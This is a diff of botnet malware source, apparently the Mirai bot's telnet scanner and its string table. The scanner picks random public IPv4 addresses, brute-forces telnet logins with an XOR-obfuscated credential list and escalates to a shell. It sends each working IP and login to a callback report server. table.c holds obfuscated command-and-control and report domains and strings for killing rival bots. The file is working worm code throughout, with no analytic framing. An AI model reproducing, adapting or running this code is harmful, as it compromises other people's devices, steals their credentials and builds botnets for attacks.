|                 socklen_t err_len = sizeof (err); | ||||
|  | ||||
|                 ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len); | ||||
|                 if (err == 0 && ret == 0) | ||||
|                 { | ||||
|                     conn->state = SC_HANDLE_IACS; | ||||
|                     conn->auth = random_auth_entry(); | ||||
|                     conn->rdbuf_pos = 0; | ||||
| #ifdef DEBUG | ||||
|                     printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password); | ||||
| #endif | ||||
|                 } | ||||
|                 else | ||||
|                 { | ||||
| #ifdef DEBUG | ||||
|                     printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err); | ||||
| #endif | ||||
|                     close(conn->fd); | ||||
|                     conn->fd = -1; | ||||
|                     conn->tries = 0; | ||||
|                     conn->state = SC_CLOSED; | ||||
|                     continue; | ||||
|                 } | ||||
|             } | ||||
|  | ||||
|             if (FD_ISSET(conn->fd, &fdset_rd)) | ||||
|             { | ||||
|                 while (TRUE) | ||||
|                 { | ||||
|                     int ret; | ||||
|  | ||||
|                     if (conn->state == SC_CLOSED) | ||||
|                         break; | ||||
|  | ||||
|                     if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE) | ||||
|                     { | ||||
|                         memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN); | ||||
|                         conn->rdbuf_pos -= SCANNER_HACK_DRAIN; | ||||
|                     } | ||||
|                     errno = 0; | ||||
|                     ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL); | ||||
|                     if (ret == 0) | ||||
|                     { | ||||
| #ifdef DEBUG | ||||
|                         printf("[scanner] FD%d connection gracefully closed\n", conn->fd); | ||||
| #endif | ||||
|                         errno = ECONNRESET; | ||||
|                         ret = -1; // Fall through to closing connection below | ||||
|                     } | ||||
|                     if (ret == -1) | ||||
|                     { | ||||
|                         if (errno != EAGAIN && errno != EWOULDBLOCK) | ||||
|                         { | ||||
| #ifdef DEBUG | ||||
|                             printf("[scanner] FD%d lost connection\n", conn->fd); | ||||
| #endif | ||||
|                             close(conn->fd); | ||||
|                             conn->fd = -1; | ||||
|  | ||||
|                             // Retry | ||||
|                             if (++(conn->tries) >= 10) | ||||
|                             { | ||||
|                                 conn->tries = 0; | ||||
|                                 conn->state = SC_CLOSED; | ||||
|                             } | ||||
|                             else | ||||
|                             { | ||||
|                                 setup_connection(conn); | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); | ||||
| #endif | ||||
|                             } | ||||
|                         } | ||||
|                         break; | ||||
|                     } | ||||
|                     conn->rdbuf_pos += ret; | ||||
|                     conn->last_recv = fake_time; | ||||
|  | ||||
|                     while (TRUE) | ||||
|                     { | ||||
|                         int consumed = 0; | ||||
|  | ||||
|                         switch (conn->state) | ||||
|                         { | ||||
|                         case SC_HANDLE_IACS: | ||||
|                             if ((consumed = consume_iacs(conn)) > 0) | ||||
|                             { | ||||
|                                 conn->state = SC_WAITING_USERNAME; | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d finished telnet negotiation\n", conn->fd); | ||||
| #endif | ||||
|                             } | ||||
|                             break; | ||||
|                         case SC_WAITING_USERNAME: | ||||
|                             if ((consumed = consume_user_prompt(conn)) > 0) | ||||
|                             { | ||||
|                                 send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL); | ||||
|                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); | ||||
|                                 conn->state = SC_WAITING_PASSWORD; | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d received username prompt\n", conn->fd); | ||||
| #endif | ||||
|                             } | ||||
|                             break; | ||||
|                         case SC_WAITING_PASSWORD: | ||||
|                             if ((consumed = consume_pass_prompt(conn)) > 0) | ||||
|                             { | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d received password prompt\n", conn->fd); | ||||
| #endif | ||||
|  | ||||
|                                 // Send password | ||||
|                                 send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL); | ||||
|                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); | ||||
|  | ||||
|                                 conn->state = SC_WAITING_PASSWD_RESP; | ||||
|                             } | ||||
|                             break; | ||||
|                         case SC_WAITING_PASSWD_RESP: | ||||
|                             if ((consumed = consume_any_prompt(conn)) > 0) | ||||
|                             { | ||||
|                                 char *tmp_str; | ||||
|                                 int tmp_len; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d received shell prompt\n", conn->fd); | ||||
| #endif | ||||
|  | ||||
|                                 // Send enable / system / shell / sh to session to drop into shell if needed | ||||
|                                 table_unlock_val(TABLE_SCAN_ENABLE); | ||||
|                                 tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len); | ||||
|                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); | ||||
|                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); | ||||
|                                 table_lock_val(TABLE_SCAN_ENABLE); | ||||
|                                 conn->state = SC_WAITING_ENABLE_RESP; | ||||
|                             } | ||||
|                             break; | ||||
|                         case SC_WAITING_ENABLE_RESP: | ||||
|                             if ((consumed = consume_any_prompt(conn)) > 0) | ||||
|                             { | ||||
|                                 char *tmp_str; | ||||
|                                 int tmp_len; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d received sh prompt\n", conn->fd); | ||||
| #endif | ||||
|  | ||||
|                                 table_unlock_val(TABLE_SCAN_SYSTEM); | ||||
|                                 tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len); | ||||
|                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); | ||||
|                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); | ||||
|                                 table_lock_val(TABLE_SCAN_SYSTEM); | ||||
|  | ||||
|                                 conn->state = SC_WAITING_SYSTEM_RESP; | ||||
|                             } | ||||
|                             break; | ||||
| 			case SC_WAITING_SYSTEM_RESP: | ||||
|                             if ((consumed = consume_any_prompt(conn)) > 0) | ||||
|                             { | ||||
|                                 char *tmp_str; | ||||
|                                 int tmp_len; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d received sh prompt\n", conn->fd); | ||||
| #endif | ||||
|  | ||||
|                                 table_unlock_val(TABLE_SCAN_SHELL); | ||||
|                                 tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len); | ||||
|                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); | ||||
|                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); | ||||
|                                 table_lock_val(TABLE_SCAN_SHELL); | ||||
|  | ||||
|                                 conn->state = SC_WAITING_SHELL_RESP; | ||||
|                             } | ||||
|                             break; | ||||
|                         case SC_WAITING_SHELL_RESP: | ||||
|                             if ((consumed = consume_any_prompt(conn)) > 0) | ||||
|                             { | ||||
|                                 char *tmp_str; | ||||
|                                 int tmp_len; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d received enable prompt\n", conn->fd); | ||||
| #endif | ||||
|  | ||||
|                                 table_unlock_val(TABLE_SCAN_SH); | ||||
|                                 tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len); | ||||
|                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); | ||||
|                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); | ||||
|                                 table_lock_val(TABLE_SCAN_SH); | ||||
|  | ||||
|                                 conn->state = SC_WAITING_SH_RESP; | ||||
|                             } | ||||
|                             break; | ||||
|                         case SC_WAITING_SH_RESP: | ||||
|                             if ((consumed = consume_any_prompt(conn)) > 0) | ||||
|                             { | ||||
|                                 char *tmp_str; | ||||
|                                 int tmp_len; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d received sh prompt\n", conn->fd); | ||||
| #endif | ||||
|  | ||||
|                                 // Send query string | ||||
|                                 table_unlock_val(TABLE_SCAN_QUERY); | ||||
|                                 tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len); | ||||
|                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); | ||||
|                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); | ||||
|                                 table_lock_val(TABLE_SCAN_QUERY); | ||||
|  | ||||
|                                 conn->state = SC_WAITING_TOKEN_RESP; | ||||
|                             } | ||||
|                             break; | ||||
|                         case SC_WAITING_TOKEN_RESP: | ||||
|                             consumed = consume_resp_prompt(conn); | ||||
|                             if (consumed == -1) | ||||
|                             { | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d invalid username/password combo\n", conn->fd); | ||||
| #endif | ||||
|                                 close(conn->fd); | ||||
|                                 conn->fd = -1; | ||||
|  | ||||
|                                 // Retry | ||||
|                                 if (++(conn->tries) == 10) | ||||
|                                 { | ||||
|                                     conn->tries = 0; | ||||
|                                     conn->state = SC_CLOSED; | ||||
|                                 } | ||||
|                                 else | ||||
|                                 { | ||||
|                                     setup_connection(conn); | ||||
| #ifdef DEBUG | ||||
|                                     printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); | ||||
| #endif | ||||
|                                 } | ||||
|                             } | ||||
|                             else if (consumed > 0) | ||||
|                             { | ||||
|                                 char *tmp_str; | ||||
|                                 int tmp_len; | ||||
| #ifdef DEBUG | ||||
|                                 printf("[scanner] FD%d Found verified working telnet\n", conn->fd); | ||||
| #endif | ||||
|                                 report_working(conn->dst_addr, conn->dst_port, conn->auth); | ||||
|                                 close(conn->fd); | ||||
|                                 conn->fd = -1; | ||||
|                                 conn->state = SC_CLOSED; | ||||
|                             } | ||||
|                             break; | ||||
|                         default: | ||||
|                             consumed = 0; | ||||
|                             break; | ||||
|                         } | ||||
|  | ||||
|                         // If no data was consumed, move on | ||||
|                         if (consumed == 0) | ||||
|                             break; | ||||
|                         else | ||||
|                         { | ||||
|                             if (consumed > conn->rdbuf_pos) | ||||
|                                 consumed = conn->rdbuf_pos; | ||||
|  | ||||
|                             conn->rdbuf_pos -= consumed; | ||||
|                             memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos); | ||||
|                         } | ||||
|                     } | ||||
|                 } | ||||
|             } | ||||
|         } | ||||
|     } | ||||
| } | ||||
|  | ||||
| void scanner_kill(void) | ||||
| { | ||||
|     kill(scanner_pid, 9); | ||||
| } | ||||
|  | ||||
| static void setup_connection(struct scanner_connection *conn) | ||||
| { | ||||
|     struct sockaddr_in addr = {0}; | ||||
|  | ||||
|     if (conn->fd != -1) | ||||
|         close(conn->fd); | ||||
|     if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[scanner] Failed to call socket()\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     conn->rdbuf_pos = 0; | ||||
|     util_zero(conn->rdbuf, sizeof(conn->rdbuf)); | ||||
|  | ||||
|     fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0)); | ||||
|  | ||||
|     addr.sin_family = AF_INET; | ||||
|     addr.sin_addr.s_addr = conn->dst_addr; | ||||
|     addr.sin_port = conn->dst_port; | ||||
|  | ||||
|     conn->last_recv = fake_time; | ||||
|     conn->state = SC_CONNECTING; | ||||
|     connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); | ||||
| } | ||||
|  | ||||
| static ipv4_t get_random_ip(void) | ||||
| { | ||||
|     uint32_t tmp; | ||||
|     uint8_t o1, o2, o3, o4; | ||||
|  | ||||
|     do | ||||
|     { | ||||
|         tmp = rand_next(); | ||||
|  | ||||
|         o1 = tmp & 0xff; | ||||
|         o2 = (tmp >> 8) & 0xff; | ||||
|         o3 = (tmp >> 16) & 0xff; | ||||
|         o4 = (tmp >> 24) & 0xff; | ||||
|     } | ||||
|     while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback | ||||
|           (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space | ||||
|           (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company | ||||
|           (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company | ||||
|           (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service | ||||
|           (o1 == 10) ||                             // 10.0.0.0/8       - Internal network | ||||
|           (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network | ||||
|           (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network | ||||
|           (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved | ||||
|           (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved | ||||
|           (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use | ||||
|           (o1 >= 224) ||                            // 224.*.*.*+       - Multicast | ||||
|           (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense | ||||
|     ); | ||||
|  | ||||
|     return INET_ADDR(o1,o2,o3,o4); | ||||
| } | ||||
|  | ||||
| static int consume_iacs(struct scanner_connection *conn) | ||||
| { | ||||
|     int consumed = 0; | ||||
|     uint8_t *ptr = conn->rdbuf; | ||||
|  | ||||
|     while (consumed < conn->rdbuf_pos) | ||||
|     { | ||||
|         int i; | ||||
|  | ||||
|         if (*ptr != 0xff) | ||||
|             break; | ||||
|         else if (*ptr == 0xff) | ||||
|         { | ||||
|             if (!can_consume(conn, ptr, 1)) | ||||
|                 break; | ||||
|             if (ptr[1] == 0xff) | ||||
|             { | ||||
|                 ptr += 2; | ||||
|                 consumed += 2; | ||||
|                 continue; | ||||
|             } | ||||
|             else if (ptr[1] == 0xfd) | ||||
|             { | ||||
|                 uint8_t tmp1[3] = {255, 251, 31}; | ||||
|                 uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240}; | ||||
|  | ||||
|                 if (!can_consume(conn, ptr, 2)) | ||||
|                     break; | ||||
|                 if (ptr[2] != 31) | ||||
|                     goto iac_wont; | ||||
|  | ||||
|                 ptr += 3; | ||||
|                 consumed += 3; | ||||
|  | ||||
|                 send(conn->fd, tmp1, 3, MSG_NOSIGNAL); | ||||
|                 send(conn->fd, tmp2, 9, MSG_NOSIGNAL); | ||||
|             } | ||||
|             else | ||||
|             { | ||||
|                 iac_wont: | ||||
|  | ||||
|                 if (!can_consume(conn, ptr, 2)) | ||||
|                     break; | ||||
|  | ||||
|                 for (i = 0; i < 3; i++) | ||||
|                 { | ||||
|                     if (ptr[i] == 0xfd) | ||||
|                         ptr[i] = 0xfc; | ||||
|                     else if (ptr[i] == 0xfb) | ||||
|                         ptr[i] = 0xfd; | ||||
|                 } | ||||
|  | ||||
|                 send(conn->fd, ptr, 3, MSG_NOSIGNAL); | ||||
|                 ptr += 3; | ||||
|                 consumed += 3; | ||||
|             } | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     return consumed; | ||||
| } | ||||
|  | ||||
| static int consume_any_prompt(struct scanner_connection *conn) | ||||
| { | ||||
|     char *pch; | ||||
|     int i, prompt_ending = -1; | ||||
|  | ||||
|     for (i = conn->rdbuf_pos - 1; i > 0; i--) | ||||
|     { | ||||
|         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') | ||||
|         { | ||||
|             prompt_ending = i + 1; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|     else | ||||
|         return prompt_ending; | ||||
| } | ||||
|  | ||||
| static int consume_user_prompt(struct scanner_connection *conn) | ||||
| { | ||||
|     char *pch; | ||||
|     int i, prompt_ending = -1; | ||||
|  | ||||
|     for (i = conn->rdbuf_pos - 1; i > 0; i--) | ||||
|     { | ||||
|         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') | ||||
|         { | ||||
|             prompt_ending = i + 1; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|     { | ||||
|         int tmp; | ||||
|  | ||||
|         if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1) | ||||
|             prompt_ending = tmp; | ||||
|         else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1) | ||||
|             prompt_ending = tmp; | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|     else | ||||
|         return prompt_ending; | ||||
| } | ||||
|  | ||||
| static int consume_pass_prompt(struct scanner_connection *conn) | ||||
| { | ||||
|     char *pch; | ||||
|     int i, prompt_ending = -1; | ||||
|  | ||||
|     for (i = conn->rdbuf_pos - 1; i > 0; i--) | ||||
|     { | ||||
|         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#') | ||||
|         { | ||||
|             prompt_ending = i + 1; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|     { | ||||
|         int tmp; | ||||
|  | ||||
|         if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1) | ||||
|             prompt_ending = tmp; | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|     else | ||||
|         return prompt_ending; | ||||
| } | ||||
|  | ||||
| static int consume_resp_prompt(struct scanner_connection *conn) | ||||
| { | ||||
|     char *tkn_resp; | ||||
|     int prompt_ending, len; | ||||
|  | ||||
|     table_unlock_val(TABLE_SCAN_NCORRECT); | ||||
|     tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len); | ||||
|     if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1) | ||||
|     { | ||||
|         table_lock_val(TABLE_SCAN_NCORRECT); | ||||
|         return -1; | ||||
|     } | ||||
|     table_lock_val(TABLE_SCAN_NCORRECT); | ||||
|  | ||||
|     table_unlock_val(TABLE_SCAN_RESP); | ||||
|     tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len); | ||||
|     prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1); | ||||
|     table_lock_val(TABLE_SCAN_RESP); | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|     else | ||||
|         return prompt_ending; | ||||
| } | ||||
|  | ||||
| static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight) | ||||
| { | ||||
|     int tmp; | ||||
|  | ||||
|     auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth)); | ||||
|     auth_table[auth_table_len].username = deobf(enc_user, &tmp); | ||||
|     auth_table[auth_table_len].username_len = (uint8_t)tmp; | ||||
|     auth_table[auth_table_len].password = deobf(enc_pass, &tmp); | ||||
|     auth_table[auth_table_len].password_len = (uint8_t)tmp; | ||||
|     auth_table[auth_table_len].weight_min = auth_table_max_weight; | ||||
|     auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight; | ||||
|     auth_table_max_weight += weight; | ||||
| } | ||||
|  | ||||
| static struct scanner_auth *random_auth_entry(void) | ||||
| { | ||||
|     int i; | ||||
|     uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight); | ||||
|  | ||||
|     for (i = 0; i < auth_table_len; i++) | ||||
|     { | ||||
|         if (r < auth_table[i].weight_min) | ||||
|             continue; | ||||
|         else if (r < auth_table[i].weight_max) | ||||
|             return &auth_table[i]; | ||||
|     } | ||||
|  | ||||
|     return NULL; | ||||
| } | ||||
|  | ||||
| static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth) | ||||
| { | ||||
|     struct sockaddr_in addr; | ||||
|     int pid = fork(), fd; | ||||
|     struct resolv_entries *entries = NULL; | ||||
|  | ||||
|     if (pid > 0 || pid == -1) | ||||
|         return; | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[report] Failed to call socket()\n"); | ||||
| #endif | ||||
|         exit(0); | ||||
|     } | ||||
|  | ||||
|     table_unlock_val(TABLE_SCAN_CB_DOMAIN); | ||||
|     table_unlock_val(TABLE_SCAN_CB_PORT); | ||||
|  | ||||
|     entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL)); | ||||
|     if (entries == NULL) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[report] Failed to resolve report address\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     addr.sin_family = AF_INET; | ||||
|     addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len]; | ||||
|     addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL)); | ||||
|     resolv_entries_free(entries); | ||||
|  | ||||
|     table_lock_val(TABLE_SCAN_CB_DOMAIN); | ||||
|     table_lock_val(TABLE_SCAN_CB_PORT); | ||||
|  | ||||
|     if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[report] Failed to connect to scanner callback!\n"); | ||||
| #endif | ||||
|         close(fd); | ||||
|         exit(0); | ||||
|     } | ||||
|  | ||||
|     uint8_t zero = 0; | ||||
|     send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL); | ||||
|     send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL); | ||||
|     send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL); | ||||
|     send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL); | ||||
|     send(fd, auth->username, auth->username_len, MSG_NOSIGNAL); | ||||
|     send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL); | ||||
|     send(fd, auth->password, auth->password_len, MSG_NOSIGNAL); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("[report] Send scan result to loader\n"); | ||||
| #endif | ||||
|  | ||||
|     close(fd); | ||||
|     exit(0); | ||||
| } | ||||
|  | ||||
| static char *deobf(char *str, int *len) | ||||
| { | ||||
|     int i; | ||||
|     char *cpy; | ||||
|  | ||||
|     *len = util_strlen(str); | ||||
|     cpy = malloc(*len + 1); | ||||
|  | ||||
|     util_memcpy(cpy, str, *len + 1); | ||||
|  | ||||
|     for (i = 0; i < *len; i++) | ||||
|     { | ||||
|         cpy[i] ^= 0xDE; | ||||
|         cpy[i] ^= 0xAD; | ||||
|         cpy[i] ^= 0xBE; | ||||
|         cpy[i] ^= 0xEF; | ||||
|     } | ||||
|  | ||||
|     return cpy; | ||||
| } | ||||
|  | ||||
| static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount) | ||||
| { | ||||
|     uint8_t *end = conn->rdbuf + conn->rdbuf_pos; | ||||
|  | ||||
|     return ptr + amount < end; | ||||
| } | ||||
|  | ||||
| #endif | ||||
							
								
								
									
										64
									
								
								mirai/bot/scanner.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										64
									
								
								mirai/bot/scanner.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,64 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <stdint.h> | ||||
|  | ||||
| #include "includes.h" | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #define SCANNER_MAX_CONNS   128 | ||||
| #define SCANNER_RAW_PPS     160 | ||||
| #else | ||||
| #define SCANNER_MAX_CONNS   128 | ||||
| #define SCANNER_RAW_PPS     160 | ||||
| #endif | ||||
|  | ||||
| #define SCANNER_RDBUF_SIZE  256 | ||||
| #define SCANNER_HACK_DRAIN  64 | ||||
|  | ||||
| struct scanner_auth { | ||||
|     char *username; | ||||
|     char *password; | ||||
|     uint16_t weight_min, weight_max; | ||||
|     uint8_t username_len, password_len; | ||||
| }; | ||||
|  | ||||
| struct scanner_connection { | ||||
|     struct scanner_auth *auth; | ||||
|     int fd, last_recv; | ||||
|     enum { | ||||
|         SC_CLOSED, | ||||
|         SC_CONNECTING, | ||||
|         SC_HANDLE_IACS, | ||||
|         SC_WAITING_USERNAME, | ||||
|         SC_WAITING_PASSWORD, | ||||
|         SC_WAITING_PASSWD_RESP, | ||||
|         SC_WAITING_ENABLE_RESP, | ||||
|         SC_WAITING_SYSTEM_RESP, | ||||
|         SC_WAITING_SHELL_RESP, | ||||
|         SC_WAITING_SH_RESP, | ||||
|         SC_WAITING_TOKEN_RESP | ||||
|     } state; | ||||
|     ipv4_t dst_addr; | ||||
|     uint16_t dst_port; | ||||
|     int rdbuf_pos; | ||||
|     char rdbuf[SCANNER_RDBUF_SIZE]; | ||||
|     uint8_t tries; | ||||
| }; | ||||
|  | ||||
| void scanner_init(); | ||||
| void scanner_kill(void); | ||||
|  | ||||
| static void setup_connection(struct scanner_connection *); | ||||
| static ipv4_t get_random_ip(void); | ||||
|  | ||||
| static int consume_iacs(struct scanner_connection *); | ||||
| static int consume_any_prompt(struct scanner_connection *); | ||||
| static int consume_user_prompt(struct scanner_connection *); | ||||
| static int consume_pass_prompt(struct scanner_connection *); | ||||
| static int consume_resp_prompt(struct scanner_connection *); | ||||
|  | ||||
| static void add_auth_entry(char *, char *, uint16_t); | ||||
| static struct scanner_auth *random_auth_entry(void); | ||||
| static void report_working(ipv4_t, uint16_t, struct scanner_auth *); | ||||
| static char *deobf(char *, int *); | ||||
| static BOOL can_consume(struct scanner_connection *, uint8_t *, int); | ||||
							
								
								
									
										158
									
								
								mirai/bot/table.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										158
									
								
								mirai/bot/table.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,158 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <stdint.h> | ||||
| #include <stdlib.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "table.h" | ||||
| #include "util.h" | ||||
|  | ||||
| uint32_t table_key = 0xdeadbeef; | ||||
| struct table_value table[TABLE_MAX_KEYS]; | ||||
|  | ||||
| void table_init(void) | ||||
| { | ||||
|     add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com | ||||
|     add_entry(TABLE_CNC_PORT, "\x22\x35", 2);   // 23 | ||||
|  | ||||
|     add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com | ||||
|     add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);         // 48101 | ||||
|  | ||||
|     add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15); | ||||
|  | ||||
|     // safe string https://youtu.be/dQw4w9WgXcQ | ||||
|     add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29); | ||||
|     add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7); | ||||
|     add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5); | ||||
|     add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11); | ||||
|     add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4); | ||||
|     add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7); | ||||
|     add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8); | ||||
|     add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13); | ||||
|     add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10); | ||||
|     add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10); | ||||
|     add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33); | ||||
|     add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8); | ||||
|     add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11); | ||||
|  | ||||
